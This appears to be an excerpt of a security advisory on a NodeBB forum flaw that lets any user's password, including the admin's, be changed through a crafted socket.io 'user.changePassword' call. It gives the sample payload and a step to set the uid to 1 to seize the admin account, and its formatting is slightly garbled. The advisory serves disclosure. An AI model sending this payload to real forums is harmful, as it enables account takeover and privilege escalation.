Impact:

A bug in this validation logic made it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover.

427["user.changePassword",("currentPassword":"Test.12345!","newPassword":"Admin123!","uid":5)])  
4- Replace the uid on the request with 1, which is the uid value of the admin user, and send the request.
